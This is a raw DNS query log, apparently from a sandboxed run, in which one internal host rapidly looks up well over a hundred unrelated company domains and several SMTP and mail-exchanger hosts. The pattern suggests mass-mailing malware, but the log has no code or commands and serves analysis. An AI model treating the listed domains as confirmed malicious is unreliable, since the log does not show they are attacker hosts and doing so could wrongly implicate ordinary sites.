Jul 27, 2023 21:53:01.024547100 CEST	192.168.2.4	8.8.8.8	0xed61	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.026168108 CEST	192.168.2.4	8.8.8.8	0x7574	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.031815052 CEST	192.168.2.4	8.8.8.8	0xbf34	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.554348946 CEST	192.168.2.4	8.8.8.8	0x2224	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.557482958 CEST	192.168.2.4	8.8.8.8	0x7a11	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.652558088 CEST	192.168.2.4	8.8.8.8	0x1d4c	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.661518097 CEST	192.168.2.4	8.8.8.8	0xfed2	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.663431883 CEST	192.168.2.4	8.8.8.8	0x573b	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.710516930 CEST	192.168.2.4	8.8.8.8	0xe1db	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.715353012 CEST	192.168.2.4	8.8.8.8	0x8785	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.715801001 CEST	192.168.2.4	8.8.8.8	0xfdf2	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:01.950800896 CEST	192.168.2.4	8.8.8.8	0xf6e6	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.198074102 CEST	192.168.2.4	8.8.8.8	0x4776	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.199517965 CEST	192.168.2.4	8.8.8.8	0xd12f	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.215082884 CEST	192.168.2.4	8.8.8.8	0x2db1	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.298568010 CEST	192.168.2.4	8.8.8.8	0x4f80	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.299201012 CEST	192.168.2.4	8.8.8.8	0xa080	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.309093952 CEST	192.168.2.4	8.8.8.8	0x155a	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.314378023 CEST	192.168.2.4	8.8.8.8	0xa385	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.315978050 CEST	192.168.2.4	8.8.8.8	0x5ec9	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.586558104 CEST	192.168.2.4	8.8.8.8	0xdef	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:02.989859104 CEST	192.168.2.4	8.8.8.8	0xf52c	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.007195950 CEST	192.168.2.4	8.8.8.8	0x52bd	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.085628986 CEST	192.168.2.4	8.8.8.8	0xbcc6	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.132580996 CEST	192.168.2.4	8.8.8.8	0x4981	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.132718086 CEST	192.168.2.4	8.8.8.8	0xdfcf	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.133549929 CEST	192.168.2.4	8.8.8.8	0xb115	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.138864994 CEST	192.168.2.4	8.8.8.8	0xfdea	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.140235901 CEST	192.168.2.4	8.8.8.8	0x95d5	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.154827118 CEST	192.168.2.4	8.8.8.8	0x4cd1	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.738152027 CEST	192.168.2.4	8.8.8.8	0xc55a	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.739273071 CEST	192.168.2.4	8.8.8.8	0xe912	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.799940109 CEST	192.168.2.4	8.8.8.8	0x7a2d	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:03.799941063 CEST	192.168.2.4	8.8.8.8	0xd1f9	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.063745975 CEST	192.168.2.4	8.8.8.8	0xf3b1	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.064094067 CEST	192.168.2.4	8.8.8.8	0x704b	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.131036043 CEST	192.168.2.4	8.8.8.8	0x8a2d	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.137512922 CEST	192.168.2.4	8.8.8.8	0x2161	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.180680990 CEST	192.168.2.4	8.8.8.8	0x5366	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.203253031 CEST	192.168.2.4	8.8.8.8	0xc992	Standard query (0)	www.kernsafe.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.451704025 CEST	192.168.2.4	8.8.8.8	0x1dfe	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.454260111 CEST	192.168.2.4	8.8.8.8	0x680f	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.460192919 CEST	192.168.2.4	8.8.8.8	0x643c	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:04.473294973 CEST	192.168.2.4	8.8.8.8	0x457c	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.014578104 CEST	192.168.2.4	8.8.8.8	0x6126	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.246655941 CEST	192.168.2.4	8.8.8.8	0xb8b8	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.400685072 CEST	192.168.2.4	8.8.8.8	0xe7b4	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.715949059 CEST	192.168.2.4	8.8.8.8	0x69c4	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.724602938 CEST	192.168.2.4	8.8.8.8	0x50f5	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.726399899 CEST	192.168.2.4	8.8.8.8	0xb91a	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.728913069 CEST	192.168.2.4	8.8.8.8	0xd3eb	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.731333017 CEST	192.168.2.4	8.8.8.8	0x364d	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.734808922 CEST	192.168.2.4	8.8.8.8	0xe5aa	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.736949921 CEST	192.168.2.4	8.8.8.8	0xc82b	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:05.906749964 CEST	192.168.2.4	8.8.8.8	0xc600	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.143490076 CEST	192.168.2.4	8.8.8.8	0x3db8	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.154576063 CEST	192.168.2.4	8.8.8.8	0x12d1	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.187072992 CEST	192.168.2.4	8.8.8.8	0xc6a5	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.190824032 CEST	192.168.2.4	8.8.8.8	0x1fbb	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.496680975 CEST	192.168.2.4	8.8.8.8	0xceae	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:06.501836061 CEST	192.168.2.4	8.8.8.8	0x81c8	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.033487082 CEST	192.168.2.4	8.8.8.8	0x5575	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.038393021 CEST	192.168.2.4	8.8.8.8	0x440b	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.043911934 CEST	192.168.2.4	8.8.8.8	0xd4f0	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.273375034 CEST	192.168.2.4	8.8.8.8	0x1fbb	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.448928118 CEST	192.168.2.4	8.8.8.8	0xc1f9	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.451174021 CEST	192.168.2.4	8.8.8.8	0xc16f	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.457724094 CEST	192.168.2.4	8.8.8.8	0xa923	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.638655901 CEST	192.168.2.4	8.8.8.8	0xce76	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.747086048 CEST	192.168.2.4	8.8.8.8	0x7a8	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:07.765713930 CEST	192.168.2.4	8.8.8.8	0x71f	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.029242992 CEST	192.168.2.4	8.8.8.8	0x5575	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.390367985 CEST	192.168.2.4	8.8.8.8	0x1fbb	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.518429041 CEST	192.168.2.4	8.8.8.8	0x1740	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.520168066 CEST	192.168.2.4	8.8.8.8	0xbc60	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.529680014 CEST	192.168.2.4	8.8.8.8	0xb9be	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.537983894 CEST	192.168.2.4	8.8.8.8	0x6d60	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.763438940 CEST	192.168.2.4	8.8.8.8	0x71f	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.911595106 CEST	192.168.2.4	8.8.8.8	0x39de	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:08.931075096 CEST	192.168.2.4	8.8.8.8	0xc1a9	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:09.664926052 CEST	192.168.2.4	8.8.8.8	0xd598	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:09.679883957 CEST	192.168.2.4	8.8.8.8	0xe1c9	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:10.014398098 CEST	192.168.2.4	8.8.8.8	0xe823	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:10.895509005 CEST	192.168.2.4	8.8.8.8	0x61f1	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:12.057137966 CEST	192.168.2.4	8.8.8.8	0xa83f	Standard query (0)	www.pohlfood.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:12.067336082 CEST	192.168.2.4	8.8.8.8	0xd0bb	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:12.420872927 CEST	192.168.2.4	8.8.8.8	0xc1d9	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:12.813493967 CEST	192.168.2.4	8.8.8.8	0xa2e7	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:13.021703005 CEST	192.168.2.4	8.8.8.8	0x7c84	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:13.176981926 CEST	192.168.2.4	8.8.8.8	0xba87	Standard query (0)	www.11tochi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:14.121896982 CEST	192.168.2.4	8.8.8.8	0x1d76	Standard query (0)	www.pb-games.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:14.914835930 CEST	192.168.2.4	8.8.8.8	0x8dff	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:16.182209015 CEST	192.168.2.4	8.8.8.8	0xd36a	Standard query (0)	www.medius.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:16.366420031 CEST	192.168.2.4	8.8.8.8	0x4449	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:16.684653997 CEST	192.168.2.4	8.8.8.8	0x4b74	Standard query (0)	www.ka-mo-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:17.376538038 CEST	192.168.2.4	8.8.8.8	0x4449	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:17.797081947 CEST	192.168.2.4	8.8.8.8	0xfa8d	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:18.128643036 CEST	192.168.2.4	8.8.8.8	0xedf5	Standard query (0)	www.com-sit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:19.058505058 CEST	192.168.2.4	8.8.8.8	0xbc35	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:19.417010069 CEST	192.168.2.4	8.8.8.8	0xfe3	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:19.419260025 CEST	192.168.2.4	8.8.8.8	0x29cd	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:19.423008919 CEST	192.168.2.4	8.8.8.8	0x7f2e	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:20.684286118 CEST	192.168.2.4	8.8.8.8	0x6a2	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:22.088397980 CEST	192.168.2.4	8.8.8.8	0x71fc	Standard query (0)	smtp.sbcglobal.yahoo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:22.440582991 CEST	192.168.2.4	8.8.8.8	0xfa8a	Standard query (0)	www.medius.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:22.874933004 CEST	192.168.2.4	8.8.8.8	0x65f3	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.062163115 CEST	192.168.2.4	8.8.8.8	0x1531	Standard query (0)	www.ottospm.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.066303015 CEST	192.168.2.4	8.8.8.8	0x3b02	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.067081928 CEST	192.168.2.4	8.8.8.8	0xd0fd	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.151165009 CEST	192.168.2.4	8.8.8.8	0x8907	Standard query (0)	www.ka-mo-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.164928913 CEST	192.168.2.4	8.8.8.8	0x9fbb	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.550570965 CEST	192.168.2.4	8.8.8.8	0xc7c4	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.958869934 CEST	192.168.2.4	8.8.8.8	0x2c8e	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.408006907 CEST	192.168.2.4	8.8.8.8	0x289a	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.529239893 CEST	192.168.2.4	8.8.8.8	0x775a	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.560036898 CEST	192.168.2.4	8.8.8.8	0x96ea	Standard query (0)	www.com-sit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.582372904 CEST	192.168.2.4	8.8.8.8	0x86da	Standard query (0)	www.railbook.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.943741083 CEST	192.168.2.4	8.8.8.8	0x55a1	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:25.241117954 CEST	192.168.2.4	8.8.8.8	0xb5bf	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:25.625610113 CEST	192.168.2.4	8.8.8.8	0xd21b	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:25.772416115 CEST	192.168.2.4	8.8.8.8	0x5206	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.035327911 CEST	192.168.2.4	8.8.8.8	0x1fc1	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.098129988 CEST	192.168.2.4	8.8.8.8	0xb0d5	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.129683018 CEST	192.168.2.4	8.8.8.8	0x1c0d	Standard query (0)	www.tyrns.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.389441013 CEST	192.168.2.4	8.8.8.8	0x6e9d	Standard query (0)	www.kernsafe.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.571958065 CEST	192.168.2.4	8.8.8.8	0x44c4	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.882255077 CEST	192.168.2.4	8.8.8.8	0xe670	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.118937016 CEST	192.168.2.4	8.8.8.8	0x7d3	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.168839931 CEST	192.168.2.4	8.8.8.8	0xd2	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.169308901 CEST	192.168.2.4	8.8.8.8	0x8d3	Standard query (0)	www.spanesi.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.568701982 CEST	192.168.2.4	8.8.8.8	0x2a47	Standard query (0)	smtp.mail.yahoo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.688401937 CEST	192.168.2.4	8.8.8.8	0x60f5	Standard query (0)	www.tc17.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.943114042 CEST	192.168.2.4	8.8.8.8	0x401b	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.961136103 CEST	192.168.2.4	8.8.8.8	0x887c	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:28.001377106 CEST	192.168.2.4	8.8.8.8	0x97b1	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:28.969681978 CEST	192.168.2.4	8.8.8.8	0x6c7b	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:28.992605925 CEST	192.168.2.4	8.8.8.8	0x3366	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:30.207210064 CEST	192.168.2.4	8.8.8.8	0x1fe8	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:30.625766993 CEST	192.168.2.4	8.8.8.8	0xbaf3	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:30.626189947 CEST	192.168.2.4	8.8.8.8	0x9d1d	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:31.708389044 CEST	192.168.2.4	8.8.8.8	0xf33a	Standard query (0)	smtp.mail.yahoo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.191842079 CEST	192.168.2.4	8.8.8.8	0xe319	Standard query (0)	sidepath.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.196628094 CEST	192.168.2.4	8.8.8.8	0x2872	Standard query (0)	doggybag.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.204401970 CEST	192.168.2.4	8.8.8.8	0xc8f0	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.207757950 CEST	192.168.2.4	8.8.8.8	0x4684	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.208446026 CEST	192.168.2.4	8.8.8.8	0xf7de	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.257430077 CEST	192.168.2.4	8.8.8.8	0xd8dc	Standard query (0)	smitko.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.257513046 CEST	192.168.2.4	8.8.8.8	0xf86a	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.257565975 CEST	192.168.2.4	8.8.8.8	0x35a8	Standard query (0)	shittas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.260936975 CEST	192.168.2.4	8.8.8.8	0x21d4	Standard query (0)	shenhgts.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.278827906 CEST	192.168.2.4	8.8.8.8	0xf30d	Standard query (0)	touchfam.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.285026073 CEST	192.168.2.4	8.8.8.8	0xf1b7	Standard query (0)	okashimo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.287110090 CEST	192.168.2.4	8.8.8.8	0x28ea	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.291733027 CEST	192.168.2.4	8.8.8.8	0xdc51	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.294478893 CEST	192.168.2.4	8.8.8.8	0x43a3	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.296127081 CEST	192.168.2.4	8.8.8.8	0x4c02	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.345252037 CEST	192.168.2.4	8.8.8.8	0xa8a0	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.361721039 CEST	192.168.2.4	8.8.8.8	0x137c	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.391295910 CEST	192.168.2.4	8.8.8.8	0xd4db	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.396972895 CEST	192.168.2.4	8.8.8.8	0xda09	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.402261019 CEST	192.168.2.4	8.8.8.8	0xc9a9	Standard query (0)	unicus.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.407450914 CEST	192.168.2.4	8.8.8.8	0xeb8a	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.407757998 CEST	192.168.2.4	8.8.8.8	0x47f4	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.437814951 CEST	192.168.2.4	8.8.8.8	0x12e5	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.483686924 CEST	192.168.2.4	8.8.8.8	0x77c1	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.515805006 CEST	192.168.2.4	8.8.8.8	0xa70	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.527312994 CEST	192.168.2.4	8.8.8.8	0xa451	Standard query (0)	midap.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.540776014 CEST	192.168.2.4	8.8.8.8	0xa851	Standard query (0)	bidroll.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.542321920 CEST	192.168.2.4	8.8.8.8	0x8703	Standard query (0)	in1.smtp.messagingengine.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.546758890 CEST	192.168.2.4	8.8.8.8	0x97bb	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.553112030 CEST	192.168.2.4	8.8.8.8	0xbf35	Standard query (0)	fogra.com.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.569529057 CEST	192.168.2.4	8.8.8.8	0x7c3a	Standard query (0)	eos-i.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.569586039 CEST	192.168.2.4	8.8.8.8	0x3763	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.572664022 CEST	192.168.2.4	8.8.8.8	0x91b	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.572734118 CEST	192.168.2.4	8.8.8.8	0xc4a0	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.585581064 CEST	192.168.2.4	8.8.8.8	0x762e	Standard query (0)	stopllc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.590131998 CEST	192.168.2.4	8.8.8.8	0x54a6	Standard query (0)	nettle.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.598507881 CEST	192.168.2.4	8.8.8.8	0x478f	Standard query (0)	eos-i.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.605806112 CEST	192.168.2.4	8.8.8.8	0x2221	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.619832039 CEST	192.168.2.4	8.8.8.8	0xc616	Standard query (0)	nts-web.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.687834978 CEST	192.168.2.4	8.8.8.8	0xdfb7	Standard query (0)	eos-i.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.718918085 CEST	192.168.2.4	8.8.8.8	0x73a0	Standard query (0)	mail7.digitalwaves.co.nz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.729430914 CEST	192.168.2.4	8.8.8.8	0x6dbd	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.745291948 CEST	192.168.2.4	8.8.8.8	0x3913	Standard query (0)	cutchie.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.750149965 CEST	192.168.2.4	8.8.8.8	0x67b6	Standard query (0)	coxkitchensandbaths.com	A (IP address)	IN (0x0001)	false
